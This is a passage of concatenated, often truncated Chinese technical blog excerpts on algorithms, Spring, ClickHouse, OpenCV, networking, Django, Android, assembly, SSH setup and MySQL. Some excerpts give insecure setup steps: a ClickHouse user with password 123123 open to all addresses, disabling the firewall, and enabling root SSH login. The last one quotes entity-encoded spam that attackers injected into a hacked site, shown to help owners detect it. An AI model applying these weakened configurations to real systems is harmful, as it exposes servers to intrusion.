算法从根节点开始搜索,初始时优先队列为空(最大堆为空),取出优先队列中的首元素成为当前的扩展结点E,并将扩展结点的左右儿子设为可行结点加入到优先队列中,优先队列中的结点元素的优先级由Bound函数计算给出,结点元素由结构体node表示,结点元素中使用up表示结点的价值上界,profit和weight表示结点相应的价值和重量,使用变量level表示结点元素在子集树中对应的层序号,使用node指针parent指向该节点在子集树中的父结点。 寻找最优解的过程中,可以使用剪枝函数来加速搜索。bound函数给出每个可行结点对应的子树可能获得的最大价值的上界,若这个上界不会比当前最优值大,则可以剪去该枝(因为相应的子树中不含问题的最优解)。 算法(MaxKnapSack)开始搜索前,使用sort按单位价值对obj结构体数组objs按单位价值非递增排序。E表示当前扩展结点,cw为扩展结点对应的重量,cp对应结点的价值,up表示当前的价值上界。搜索过程如下: ①:初始化优先队列q(使用stl中priority_queue实现,优先队列的排序使用仿函数实现),扩展结点E,初始化变量cw,cp为0。 ②:给当前最优值bestp赋0,价值上界up的值为Bound(1)。 ③:while循环内部不断扩展结点,直到子集树的叶节点成为扩展结点为止。首先判断当前扩展结点的左儿子,若左儿子为可行结点,调用AddAliveNode将左儿子结点加入优先队列中。 ④:更新up值为Bound(i+1)并检查当前扩展结点的右儿子结点,若up≥bestp,说明右子树可能包含最优解,调用AddAliveNode将右儿子结点加入优先队列中。 ⑤:从优先队列中取下一结点,继续循环。循环结束后构造当前最优解。 代码逻辑如下: priority_queue<node *, vector<node *>, cmp > q; // 大顶堆 node *E = NULL; cw = 0; cp = 0;

记录spring 开启transactional无法写入数据库问题

代码没有任何问题的情况下,只能查找,涉及增删改问题的操作不能写入数据库 log Releasing transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5710e839] Transaction synchronization committing SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5710e839] Transaction synchronization deregistering SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5710e839] Transaction synchronization closing SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5710e839] Registering transaction synchronization for SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@4615f109] JDBC Connection [com.mchange.v2.c3p0.impl.NewProxyConnection@4018244c [wrapping: com.mysql.jdbc.JDBC4Connection@8fa108c]] will be managed by Spring ==> Preparing: insert into books (bookName,bookCounts,detail) values (bookName=?, bookCounts=? ,detail=?); ==> Parameters: Linux(String), 6(Integer), �����ŵ�����(String) <== Updates: 1 Releasing transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@4615f109] Transaction synchronization committing SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@4615f109] Transaction synchronization deregistering SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@4615f109]

服务器卡顿的原因在哪?

服务器卡顿的原因在哪? 相信很多用户都遇到过这个问题,比如服务器很卡,网站运行不了,以为是服务器的配置不行,于是继续增加服务器配置有时候也行不通。因此首先大家要知道服务器卡是什么原因造成的,从根本上解决问题。 原因有很多,以下例举博主遇到的一些原因: 1、距离 很多用户会选择国内的服务器租用,那大家在不同的地区访问服务器的时候,一般来说,访问速度差异不会太大。但是有一些用户会租用国外的服务器,这就会导致由于距离较远,会产生一定的延迟,就会发生访问慢的现象。 2、局域网 由于租赁时间太晚,我们在租用服务器时总是远程操作。因此,在进行远程服务器操作时,如果本地网络堵塞缓慢,服务器也会变慢。我们要做的就是检查当地网络的连接和使用情况。 3、机房带宽 当我们选择租用服务器时,我们通常会选择一定容量的带宽,但它通常是共享带宽。因此,当一个使用相同带宽容量的业务达到峰值时,会影响其他用户,导致其他用户使用速度变慢,变卡。当企业对网络带宽有一定的要求时,可以选择特殊的网络带宽,以免影响自身的使用。 4、服务器负载过大 购买服务器时,应该先了解服务器的性能和最大负载。当使用时,用户的过程超过了服务器本身的处理能力和存储空间,这将导致服务器响应越来越慢。当运行过程超过服务器的承载范围时,需要调整和校正使用的负载,以确保服务器能够在其能力范围内运行。 5、服务器物理资源不足 随着业务的发展和业务量的增加,相应的数据处理能力将越来越频繁。情况会更复杂。当你使用服务器越来越慢的时候,首先要注意的是你的服务器本身的物理资源是否足够。如果磁盘空间满了,服务器无法带动程序运行,自然会出现反应缓慢的现象。这时就需要添加一个内存或另一个处理器来正常运行。

ClickHouse exception code:516

当客户端连接clickhouse-server出现异常:ClickHouse exception, code: 516 , 经过分析错误码: ClickHouse exception, code: 516, host: 192.168.0.108, port: 8888; Code: 516, e.displayText() = DB::Exception: default: Authentication failed: password is incorrect or there is no user with such name (version 20.9.2.20 (official build)) 发现是clickhouse授权问题,需修改clickhouse 配置文件: 1.config.xml中listen_host为:: 2.修改users.xml中 <!-- Users and ACL. --> <users> <!-- If user name was not specified, 'default' user is used. --> <default> <password>123123</password> <networks incl="networks" replace="replace"> <ip>::/0</ip> </networks> <!-- Settings profile for user.

OpenCV学习笔记(二)——颜色空间(不同颜色空间转换函数cv.cvtColor()、多通道分离函数cv.split()、多通道合并函数cv.merge())

目录 颜色空间1 常用颜色空间介绍1.1 RGB 颜色空间1.2 YUV 颜色空间1.3 HSV 颜色空间1.4 Lab 颜色空间1.5 GRAY 颜色空间 2 颜色空间转换函数cv.cvtColor()3 图像通道的分离与合并3.1 多通道分离函数cv.split()3.2 多通道合并函数cv.merge()3.3 图像多通道合并函数和分离函数 颜色空间 颜色空间也称彩色模型(又称彩色空间或彩色系统)它的用途是在某些标准下用通常可接受的方式对彩色加以说明。 RGB颜色空间是较常见的一种颜色空间,它通过红、绿、蓝3种颜色混合能够展示各种颜色,常用于显示和表示图像。了解图像的颜色空间对于分割拥有特征的图像具有重要的意义,例如提取像素中 的红色物体可以通过比较图像红色通道的像素值来实现。 1 常用颜色空间介绍 1.1 RGB 颜色空间 RGB 颜色空间的名称是由红色(Red)、绿色(Green)、蓝色(Blue)三种颜色的英文首字母组成。RGB 颜色空间模型如下图所示。 3个通道对于颜色描述的范围都是相同的(0-255),RGB 颜色空间中的所有颜色都是通过这三种颜色通过不同比例混合得到的。如果3个颜色分量都为0则表示黑色,如果三个颜色分量都为255,则表示白色。在 RGB 颜色空间的基础上增加第四个通道 Alpha (表示颜色的透明度),就会形成 RGBA 颜色空间。 RGB 颜色空间适合于显示系统,却并不适合于图像处理。 人眼对于这三种颜色分量的敏感程度是不一样的,在单色中,人眼对红色最不敏感,蓝色最敏感,所以 RGB 颜色空间是一种均匀性较差的颜色空间。如果颜色的相似性直接用欧氏距离来度量,其结果与人眼视觉会有较大的偏差。对于某一种颜色,我们很难推测出较为精确的三个分量数值来表示。因此 RGB 颜色空间的均匀性非常差,且两种颜色之间的知觉差异色差不能表示为该颜色空间中两点间的距离,但是利用线性或非线性变换,则可以从 RGB 颜色空间推导出其他的颜色特征空间。 1.2 YUV 颜色空间 YUV 是通过亮度-色差来描述颜色的颜色空间,是电视信号系统常用的颜色编码方式,这3个变量分别表示的是图像的亮度(Y)、红色分量与亮度的信号差值(U)、蓝色分量与亮度的信号差值(V)。这种颜色主要用于视频和图像的传输,YUV 颜色空间的产生与电视机的发展例程密切相关。RGB 颜色空间与 YUV 颜色空间的转换关系如下。 { Y = 0.299 R + 0.587 G + 0.114 B U = − 0.

约瑟夫问题的几种解决方法

约瑟夫问题(有时也称为约瑟夫斯置换,是一个出现在计算机科学和数学中的问题。在计算机编程的算法中,类似问题又称为约瑟夫环。又称"丢手绢问题".)。 编号为1.2.3…….n的n个人按顺时针方向围坐一圈,开始任意选一个整数作为报数,从第一个人开始顺时针自1开始顺序报数,报到m时停止报数。报m的人出列,从出列的下一个人开始报数,报到m的人再退出,如此下去直到剩下一个人为止。 1.第一种单向的环形链表解决 首先将链表中的节点Boy创建出来 /** * 创建Boy节点 * * @author Administrator */ class Boy { private int no; private Boy next; public Boy(int no) { this.no = no; } public int getNo() { return no; } public void setNo(int no) { this.no = no; } public Boy getNext() { return next; } public void setNext(Boy next) { this.next = next; } } 单向环形链表的添加方法 // 添加小孩 构成环形链表 public void addBoy(int nums) { // 添加数目小于1时,不让游戏开始 if (nums < 1) { System.

网络——传输层(详细版)

目录 一、传输层功能 二、传输层协议 1.UDP协议 (1)协议格式 (2)特点 (3)缓冲区 (4)UDP注意事项 (5)基于UDP的应用层协议 2.TCP协议 (1)协议格式 (2)六位标志位 (3)TCP原理/机制 ①确认应答机制(安全机制) ②超时重传机制(安全机制) ③连接管理机制(安全机制) 三次握手流程(建立连接) ​ 四次挥手流程(关闭连接) ④滑动窗口机制(提高效率机制) ⑤流量控制机制(安全机制)(接收端安全) ⑥拥塞机制(安全机制)(发送端安全) ⑦延迟应答机制(提高效率机制) ⑧捎带应答机制(提高效率机制) (4)TCP特点 ①面向字节流 ②粘包 3.TCP和UDP的区别 三、常见问题 一、传输层功能 提供端对端的接口,确保网络数据传输的可靠性(安全性)向应用层提供通信服务; (五元组:源ip,源port,目的ip,目的port,协议号;作用:标识一个通信) 二、传输层协议 1.UDP协议 (1)协议格式 16位的源端口/16位的目的端口:描述数据从哪个进程发送到哪个进程 – 负责实现应用程序间的数据传输16位的数据报长度:包含UDP报文头部在内的整体报文长度,16位存储的最大数字为6553516位的校验和:二进制反码求和算法,用于校验接收到的数据和发送的数据是否一致发送方在发送数据之前,校验和为0,从完整报文的第0个字节开始,每个字节进行取反相加,超过16位的部分取出来,再次与低16位进行相加,最后得到一个校验和填充到协议字段中接收方接收到数据之后,从完整报文的第0个字节开始,每个字节进行取反相加,最终的结果如果为0,则表示数据一致,否则则表示数据不一致 (2)特点 UDP传输过程类似于寄信; ①无连接:知道对端的IP和端口号就直接进传输,不需要建立连接; ②不可靠:没有确认,重传机制;如果因为网络故障该段无法发送到对方,UDP协议层不会给应用层返回任何错误信息; ③面向数据报:不能灵活的控制读写数据的次数和数量; (3)缓冲区 ①没有真正意义上的发送缓冲区,调用sendto会直接交给内核,由内核将数据传给网络层协议进行后续的传输动作; ②具有接收缓冲区,不能保证数据顺序一致; UDP的socket既能读也能写,叫做全双工; (4)UDP注意事项 UDP协议首部中有一个16位的最大长度,也就是说一个UDP能传输的数据最大长度是64K(包含UDP首部),如需传输大于64K的数据,就需要在应用层手动分包,多次发送,并在接收端手动拼接; (5)基于UDP的应用层协议 NFS:网络文件共享; TFTP:简单文件传输协议; DHCP:动态主机配置协议; BOOTP:启动协议(用于无盘设备启动); DNS:域名解析协议; 2.TCP协议 (1)协议格式 16位的源端口和目的端口:负责应用程序之间的数据传输32位序号/32位确认序号:实现确认应答机制以及接收端的包序管理4位头部长度:表示TCP头部有多少,TCP头部是不定长的,主要取决于选项数据的大小,TCP头部最小为20字节,最大60字节(选项数据中占0~40字节)6位保留位:目前没有想好用来干什么,先预留出来用于以后扩展6位标志位:URG/ACK/PSH/RST/SYN/FIN16位窗口大小:表示本端可以接收的数据大小,用于实现滑动窗口机制,进行流量控制16位校验和:二进制反码求和算法,校验数据接收与发送的一致性16位紧急指针:标识哪些数据是紧急数据(带外数据)0-40字节的选项数据:通常用于协商一些信息如MSS的长度 (2)六位标志位 URG:紧急指针是否有效; ACK:确认号是否有效; PSH:提示接收端应用程序立刻从TCP缓冲区把数据读走; RST:对方要求重新建立连接,把携带RST标识的称为复位报文段; SYN:请求建立连接,把携带SYN标识的称为同步报文段; FIN:通知对方,本端要关闭了,把携带FIN标识的称为结束报文段; (3)TCP原理/机制 ①确认应答机制(安全机制) ②超时重传机制(安全机制) 发送端发送的数据报超过一定时间间隔没有收到确认应答的数据报,表示之前发送的数据报可能丢包,所以要重新发送;

django树形结构展示

1、使用Django自带的标签 unordered_list 1.1、定义模型 class Department(models.Model): name = models.CharField(max_length=64, unique=True, verbose_name="部门名称") # db_constraint 控制是否在数据库中为此外键创建约束,默认为True。在数据库中创建外键约束是数据库规范中明令禁止的行为 # 但是不影响Django的关联查询 parent = models.ForeignKey('Department', on_delete=models.PROTECT, null=True, blank=True, db_constraint=False, related_name='children', verbose_name="父级部门") def __str__(self): return self.name 1.2、自定义递归获取函数和view from app.models import Department def recurse_display(data): """递归展示""" display_list = [] for item in data: display_list.append(item.name) children = item.children.all() if len(children) > 0: display_list.append(recurse_display(children)) return display_list def depart_tree(request): # 核心是filter(parent=None) 查到最顶层的那个parent节点 departs = Department.objects.filter(parent=None) data = recurse_display(departs) return render(request, 'app/tree.html', {'data': data}) 1.

Android项目工程结构介绍

Android项目工程结构介绍 (1)gradle和.idea Android Studio自动生成的文件,打包的时候一般会删掉再进行打包 (2)app 项目的代码资源都在其中,也是我们工作的核心目录 build :编译生成文件。生成的apk就在build/outputs/apk/debug里。apk在虚拟机里就能直接运行 lib:第三方jar包路径 src/androidTest:测试 src/main/java:放java代码的 src/main/res: drawbble 、drawbble -v24 :一般用于放图片 layout:放布局文件,例如activity_main.xml mipmap开头:放应用图标 values 、values-night:放颜色、字符串、样式、主题之类的 AndroidManifest.xml:清单文件。四大组件就是在里面进行注册。权限之类的也是在里面进行处理。app运行图标等相关设置也是在里面进行 (3)gradle 其中gradle-wrapper.properties的内容如下: # 解压gradle.zip文件存的位置 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists # 要下载gradle的地址 # gradle的3种版本: # gradle-xx-all.zip是完整版,包含了各种二进制文件,源代码文件,和离线的文档。 # gradle-xx-bin.zip是二进制版,只包含了二进制文件(可执行文件),没有文档和源代码。 # gradle-xx-src.zip是源码版,只包含了Gradle源代码,不能用来编译你的工程。 distributionUrl=https\://services.gradle.org/distributions/gradle-7.2-bin.zip # 下载gradlexx.zip所存放的位置 zipStorePath=wrapper/dists zipStoreBase=GRADLE_USER_HOME (4)gradle.properties 一般我们都把全局属性都编写在一个工具类中,如果是有环境的切换的话,那么我们还会定义一个标志来进行相应的变换。对于项目而言,有时候需要配置某些敏感信息。比如密码,帐号等。而这些信息需要被很多类共同使用,所以必须有一个全局的配置。当需要把项目push到git上时,我们不希望别人看到我们项目的key,token等。我们可以将这些信息设置在gradle.properties中。 gradle.properties可以用来定存放我们自己的相关属性参数 (5)gradlew和gradlew.bat: 用来在命令行界面中执行gradle,其中前者在linux和mac系统中使用,后者在windows中 (6)local.properties 指定android SDK的路径; (7)settings.gradle 指定项目中所有引入的模块,具体可看文件,通常模块的引入都是自动完成的,基本不需要手动处理; (8).gitignore git使用 参考: https://blog.csdn.net/u013553529/article/details/55011602 https://blog.csdn.net/jiang547860818/article/details/78805387 https://www.csdn.net/tags/NtDagg1sMzAzNTUtYmxvZwO0O0OO0O0O.html

IEEE Transactions on Industrial Informatics(TII)投稿须知

在提交一份新论文之前,作者应考虑以下几点。否则,提交的文件将被自动拒绝。 **新手稿不能超过8页。**请注意,通常在审查过程中,审查人员往往会要求更多的解释,还请注意,首次/首次提交时允许的最大长度为8页。请注意,在最后的页面计数中,应该包括作者的bios和照片。 为了确保无偏见的审查过程,我们要求在手稿中不可识别任何作者(不包括作者姓名、传记、从属关系、求职信、签名版权表、识别脚注、致谢等)。我们相信这有助于确保手稿将得到更客观和公正的审查。请删除任何可以识别作者、编辑或评论员姓名、机构、资金来源、IEEE成员等级等的痕迹。透露作者身份是拒绝的理由,可能会导致处理您的手稿的长时间延迟。 如果你的手稿有很大一部分已经在会议上发表,论文必须隐藏所有作者的身份,这样会议论文就可以被引用,就像它是由不同的作者写的一样。 在最先进的论文中,如果有充分的理由,主任工程师可以将页数限制增加到12页。 唯一需要提交(上传)的文件是PDF格式的手稿(也可以使用WORD文件,但请确保提交系统正确转换了文件)。为了便于携带,你必须将非标准字体嵌入或避免它们出现在PDF文件中。这不是一个简单的过程,但当您从WORD打印PDF文件时,通常所有问题都会得到解决,您将在打印机属性中选择“印刷质量”而不是“标准”。 手稿必须采用IEEE双栏格式,以及本文件中描述的所有其他IEEE指南,以便评估论文的长度和图表的可读性。 文件最大大小不能超过40MB,以使我们的工具可以访问。通常你会通过调整数字的大小来得到。请注意,“EPS”数字格式仅在最后阶段需要。 您的手稿必须在IEEE Trans的范围内。关于工业信息学。否则,我们将无法提供充分的审查。 所有引用的论文必须在手稿文本中引用。确保手稿是最新的。预计有很大一部分参考文献是最近发表的论文。对于初次提交,参考文献的数量不能超过30。 你的手稿必须写好摘要。在电子出版物的时代,人们不容易注意到这一点(仅工业电子学会每年就收到超过15000份会议和期刊论文)。作者必须尽一切可能让论文引起注意和阅读。因此,在标题和摘要中应使用非常谨慎的措辞。如果没有合适的标题和摘要,IEEE Xplore可能永远也找不到并阅读不到一篇伟大的论文。 你的论文应该非常清楚地描述你的成就,这样其他人就可以理解你最初的贡献并加以利用。请注意,通常你的技术成就将根据引用的数量进行评估,而不是根据发表的论文数量。 把你的手稿写清楚。尽量把你的手稿从一个章节转到另一个章节,保持在适当的水平上。它应该很容易被合格的专业人士理解,但同时请避免描述众所周知的事实(使用适当的参考资料)。通常,由于审稿人无法理解原稿,原稿会受到负面评论,这是作者(而非审稿人)的错。请注意,如果审稿人有困难,那么其他读者将面临同样的问题,没有理由发表手稿。

从结构到行为

面向对象不是万能药,但程序的世界发展到今天,至少证明了它在大多数地方都行之有效,我们不禁要问,面向对象究竟在解决什么问题? 目录 1. 面向对象解决的问题 2.避免重复 3. 适配 4.寻找共性 4.1 小猫、小狗与宠物 4.2 雨伞的故事 5. 属性的属性 5.1 值、状态和范围 5.2 属性的关联 6. 结构与行为 7.可读性与性能 8.路在何方 1. 面向对象解决的问题 有时候我们会说:某些的代码是优雅的,它们看起来赏心悦目。 但更多的时候会说:这些代码简直就是一坨屎! “屎”代码有什么特点?不写注释,啰嗦,逻辑混乱……我们总是能列举出众多理由,它们的臭味几乎是相同的。 如果某一天,我们加上了大量的注释,捋顺了逻辑,就真能称呼这是优雅的代码吗? 也许能,但大多数时候并非如此。 我们欣赏面向对象,主要原因就是面向对象带来的可读性,它试图让我们以人的思维去理解冰冷的机器世界,而增加注释、捋顺逻辑,只是编程的基本素养,并不能帮我们去了解何为对象。 想想我们通常是怎样构建代码的?创建一个类,添加几个属性,再写一个方法,之后去完善这个方法…… 或许,我们可以总结出这样的结论——面向对象解决的问题,是对象到行为的映射。 这也是我们常说面向对象简单的原因,因为它解决的问题很简单,只要找到映射关系就解决了面向对象的问题;但我们也说它很难,因为这个映射关系通常不容易被发现。 下面的代码是构建一棵树的接口: public Interface TreeProduce { boolean insert(Node root, Node n); …… void visit(Node root); } 其中visit是打算通过根节点遍历一棵树,这似乎没什么问题,但事实真的如此吗? 我们知道,遍历有包括前序、中序、后序和层序在内的多种方式,每种方式都适用于不同的场景,如果想要切换不同的遍历方式该如何处理呢?很自然地写出下面的方法: public Interface TreeProduce { …… void visitF(Node root); void visitR(Node root); void visitXXX(Node root); } 不同的行为当然会有不同的实现,问题是,TreeProduce的实现类为什么一定要实现众多visit方法?也就是说,visit和TreeProducer的映射关系是否正确? 实际上,这是一种典型的策略模式:对象有某个行为,但是在不同的场景中,该行为有不同的实现算法。 2.避免重复 多年来,每次codereview我都会看到大量重复的代码,“避免重复”这四个字还真是说起来容易做起来难。

线程池(通俗易懂)

目录 一、什么是线程池 二、创建线程池的方式 三、线程池的七大参数 四、四种拒绝策略 1.AbortPolicy() 2.CallerRunsPolicy() 3.DiscardPolicy() 4.DiscardOldestPolicy() 五、自定义一个线程池 1.场景描述 2.代码实现 一、什么是线程池 线程池其实就是一种多线程处理形式,处理过程中可以将任务添加到队列中,然后在创建线程后自动启动这些任务。这里的线程就是我们前面学过的线程,这里的任务就是我们前面学过的实现了Runnable或Callable接口的实例对象。 线程池的优点:降低资源消耗、提高响应速度、方便管理;线程可以复用、可以控制最大并发数、可以管理线程 二、创建线程池的方式 方式描述Executors.newSingleThreadExecutor();创建一个单一的线程池 Executors.newFixedThreadPool(int nThreads);创建一个固定大小的线程池,参数填线程池大小 Executors.newCachedThreadPool();创建一个可伸缩的线程池,遇强则强,遇弱则弱 public class ThreadPoolTest { public static void main(String[] args) { ExecutorService threadPool = Executors.newSingleThreadExecutor(); //ExecutorService threadPool = Executors.newFixedThreadPool(5); //ExecutorService threadPool = Executors.newCachedThreadPool(); try { for (int i = 1; i <= 10; i++) { //在execute中丢入一个Runnable ---> lambda 表达式 threadPool.execute(()->{ System.out.println(Thread.currentThread().getName()); }); } } catch (Exception e) { e.printStackTrace(); } finally { //使用完毕后,程序结束,关闭线程池 threadPool.

汇编----寄存器

目录 一.寄存器 1.寄存器的概念 2.字节存储 3.物理地址与段地址 4.CS和IP 五.DOS的安装和使用 1.程序编译的过程 注意事项 2.程序的调试过程(debug) 六.段的分类 1.栈段寄存器SS 一.寄存器 在学习汇编的过程中,我们经常需要操作寄存器,那么寄存器又是什么呢?它是用来干什么的? 它有什么分类?又该怎么操作? 1.寄存器的概念 一个典型的CPU由运算器,控制器,寄存器等器件组成,这些器件靠内部总线相连,内部总线实现CPU内部各个器件之间的联系,而CPU于外设(主板上的其他器件)之间的联系则由外部总线连接 简单来说,在CPU中: 1.运算器进行信息处理; 2.寄存器进行信息存储; 3.控制器控制各个器件进行工作; 4.内部总线连接各个器件,在他们之间进行数据的传送; 下图为CPU访问内存单元(3)数据 下图为CPU组成 从上述描述中我们可以看出寄存器可以用来存储指令和数据。对于一个汇编程序员来说,CPU的主要部件是寄存器。寄存器是CPU中程序可以用指令读写的器件。程序员通过改变各种寄存器中内容来实现对CPU的控制。不同的CPU,寄存器的个数,结构式不同的。 例如:8086CPU有14个寄存器,每个寄存器有一个名字。这些寄存器名字分别是:AX,BX,CX,DX,SI,DI,SP,BP,IP,CS,SS,ES,PSW。这些寄存器有着不同的功能,在不同的场合扮演不同的角色。后续的讲解中我们将逐渐接触到这些寄存器。 先介绍一些通用寄存器:AX,BX,CX,DX 8086CPU所有寄存器都是16位的,可以存放两个字节,上述4个寄存器通常用来存放一般性的数据,被称为通用寄存器。以AX为例,寄存器的逻辑结构如下图: 一个16位寄存器可以存储一个16位的数据,例如如果AX中存储的是32这个数值,存放结果如下如所示: 而8086CPU为了兼容上一代CPU中的寄存器(上一代CPU中的寄存器为8位),上述这些寄存器又可以分为两个可独立使用的8位寄存器来用,AX可以分为AH,AL,同理,BX又可以分为BH,BL;CX和DX也可以这么拆(H表示hign,L表示low)。以AX为例,它拆分成两个独立的8位寄存器表示如下: AX的低8bits构成AL寄存器,高8bits构成了AH寄存器,AH和AL都是可以独立使用的寄存器。 思考:mov ah,78H(已知该指令是将78H的数据传入ah寄存器中),该语句会影响AL的值吗? 答案:不会; 2.字节存储 我们应该听过字节的概念,1字节等于8比特位,那么字和字节又什么关系?一个字等于两个字节 比特记为bit,字节记为Byte,字记为word,所以有如下关系: 1Byte=8bits,1word=2Bytes=16bits 而8086CPU出于兼容性的考虑,一次性可以处理两种尺寸的数据:字节以及子数据 一个寄存器可以存储一个字数据,例如数据2000,其二进制为 0000 0111 1101 0000存储格式如下 这样就是2000在寄存器中的存储格式(以AX为例),在AH中存储了它的高8位,AL存储了它的低8位。AH和AL中的数据可以看成一个整体是数值为2000,又可以看成是两个独立的数据,分别是7和208. 上述从寄存器出发,描述了一个16位数据在寄存器中的存储格式,而我们在使用汇编的过程中还会操作内存,那么在内存中一个字又可以用怎么样的格式体现呢? 我们要知道内存单元是字节单元,也就是说一个字节单元对应一个内存单元。当我们要保存一个子数据时,我们应该用两个地址连续的内存单元来保存。数据的低字节存放在低地址单元中,高字节存放在高地址单元中,假设我们从0地址开始存放2000,情况如下: 我们用0,1两个内存单元存放数据2000(07D0H).0,1两个单元用来存储一个字,这两个单元可以看成 是一个起始地址为0的字单元,对于这个字单元来说,0是低地址单元,1是高地址单元。07H被存放在高地址单元,而D0H被存放在低地址单元。同理,我们也可以把2,3看成一个字单元。 在这里有一个新的概念:字单元,用来描述一种用来存储字型数据的内存单元。 3.物理地址与段地址 CPU在访问内存单元之前,应该要给出内存单元的地址。所有的内存单元构成的存储的空间是一个一维的线性空间,每一个内存单元在这个空间中都有一个唯一的地址,我们称为物理地址。 那么8086CPU又是如何形成这些物理地址的呢? 我们案例中的8086CPU是16位机,这种CPU具备如下特性: 1):一次最多可以处理16位的数据; 2):寄存器的最大宽度是16位; 3):寄存器和运算器之间的通路为16位 也就是说,8086CPU内部一次性能处理的数据长度最大为16位。内存单元的地址在送上地址总线之前还需要经过寄存器进行处理,也就是说16位CPU,能一次性处理16位的地址。 但是8086CPU的地址总线是20位,也就是说8086CPU可以传送20位地址,这与上述说法相悖,那这是为什么? 8086CPU在内部有一个地址加法器,可以将两个16位合成一个20位物理地址,示意图如下: 当CPU操作内存时,内部有如下事件发生: 1)CPU中的相关部件提供了两个16位地址,一个称为段地址,一个称为偏移地址 2)段地址和偏移地址经过内部总线送入地址加法器 3)地址加法器将两个16位地址合成一个20位的物理地址 4)地址加法器将20位的物理地址通过内部总线送入输入输出控制电路 5)输入输出控制电路将20位地址送入地址总线 6)20位物理地址被地址总线送入存储器 地址加法器采用物理地址=段地址*16+偏移地址的方法来合成物理地址,这样一个16位机就可以 访问20位地址,寻址能力也从64KB扩大成1MB。

MobaXterm连接虚拟机Ubuntu

进入到Ubuntu下,先查看Ubuntu虚拟机的IP配置,通过ifconfig命令查看,可以看到Ubuntu下的IP地址信息 Windows查看VMware Network Adapter VMnet8的IP 其中VMnet8的IP地址和默认网关和虚拟机要保持在同一个网段 查看是否能与虚拟机进行正常通信 查看ssh是否启动 安装ssh 输入apt install openssh-server命令 当显示如图所示无法获得锁/var/lib/dpkg/lock-frontend时 可使用该命令强制解锁 sudo rm /var/lib/dpkg/lock-frontend和sudo rm /var/lib/dpkg/lock 解锁成功后,再次使用apt install openssh-server命令即可 可看到是已经安装了。 进行远程连接前提前关闭防火墙 输入ufw disable命令 进入MobaXterm软件进行连接 打开MobaXterm软件,进行配置。模式选为SSH,Port为22,Remote host们Ubuntu的IP地址,UserName为我们Ubuntu的登录账户 OK进入后输入密码回车即可 密码就是我们ubuntu的密码 如果我们root登录进入时,会出现 那么我们就需要修改配置文件 输入gedit /etc/ssh/sshd_config命令 进入后更改34行,#PermitRootLogin prohibit-password将该行改为PermitRootLogin yes·注意去掉前面的#,之后保存退出 再重启输入/etc/init.d/ssh restart命令 之后就可以用root用户进入远程连接。

记录poi与easypoi jar包冲突

维护的一个老项目,使用过程中暴露出来的问题 poi 版本为3.17-bate easypoi 版本 4.1.0 修改方案:poi升级到3.8版本 使用mavenHelper 把冲突的包exclusion 最后的pom文件如下: <dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-base</artifactId> <version>4.1.0</version> <exclusions> <exclusion> <artifactId>poi</artifactId> <groupId>org.apache.poi</groupId> </exclusion> <exclusion> <artifactId>poi-ooxml</artifactId> <groupId>org.apache.poi</groupId> </exclusion> <exclusion> <artifactId>poi-ooxml-schemas</artifactId> <groupId>org.apache.poi</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>3.8</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>3.8</version> <exclusions> <exclusion> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> </exclusion> <exclusion> <artifactId>poi-ooxml-schemas</artifactId> <groupId>org.apache.poi</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>3.8</version> </dependency> 修改过程中本地调试可以了提测到测试环境有出现了jar包冲突的问题。查看jar包也更新为了3.8版本,后来再次更新了服务就好了。

软件测试之数据库(MySQL)命令

前段时间写了一些测试相关的笔记,今天对于数据库命令做一些总结。 安装启动啥的就不讲了,主要说说基本的增删改查这些。 MySQL 数据库的基本操作 查询数据库 show databases; 连接数据库 use 数据库名; 新建(删除)数据库 cteate(drop) database 数据库名 表的基本操作 查询表 show tables; 新建(删除)表 create(drop)table 表名 增删改查——“增” 增加列 alter table 表名 add 列名 类型 约束 向表中插入数据 insert into 表名 列名 values 数据 增删改查——“删” 删除列 alter table 表名 drop 列名 类型 约束 删除行 delete from 表名 where 条件 增删改查——“改” 修改表 Alter table 表名 change 列名 新列名 类型; 修改列名 Alter table 表名 change 列名 列名 新类型; 修改列类型 Alter table 表名 modify 列名 新类型; 增删改查——“查” 基本查询(like 表示模糊查询) select * from 表名 where/having like 内(左右)链接查询 select * from 表名 as 别名 inner(left / right)join 表名 as 别名 on 条件 where 条件 子查询【也可以加在条件里】 select * from (select * from 表名) 其他关键字 补充union all :不去重,两个sql语句链接使用

网站被百度提示有风险,该如何解决?网站被黑怎么办?

网站在最近被百度提示有风险,导致网站流量急剧的下滑,从百度点击进去会直接跳转到什 么BCdu博的网站上去,360提示:未经证实的BCdu博网站您访问的网站含有未经证实的境外BC网站的相关内容,可能给您造成财产损失,请您谨慎访问,这样的提示,百度被标记为红 色风险提示。 首先请各位网站运营者,检查下网站从百度点击进去,是否跳转到了 BCdu博网站上了,直接输入网址 则不会跳转的这个情况。再一个查看网站在百度里的首页快照是否是自身网站的内容,如果出现一 些跟网站不相关的内容,比如: BCdu博内容等的就可以判断为网站被黑了,首页里含有虚假信息是因 为被攻击者篡改了内容,而被百度安全检测到,并被百度提示有风险,以保障浏览网站用户的安 全。建议对网站代码进行安全检测,查找被黑的痕迹,从网站的日志里检查入侵的迹象,并对网 站首页的代码进行查看,是否存在一些加密的代码:如看下 meta name 标签里的description 里 是否有加密的一些字符代码, 例如: <title>&#31186;&#36895;&#36187;&#36710;&#95;&#31186;&#36895;&#36187;&#367 10;&#23448;&#32593;&#95;&#31186;&#36895;&#36187;&#36710;&#24320;&#22870 ;&#23448;&#32593;&#95;&#31186;&#36895;&#36187;&#36710;&#24320;&#22870;& #32467;&#26524;&#35760;&#24405;</title> <meta name="keywords" content="31186;&#36895;&#39134;&#33351;&#44;&#311 86;&#36895;&#39134;&#33351;&#23448;&#32593;&#44;&#31186;&#36895;&#39134 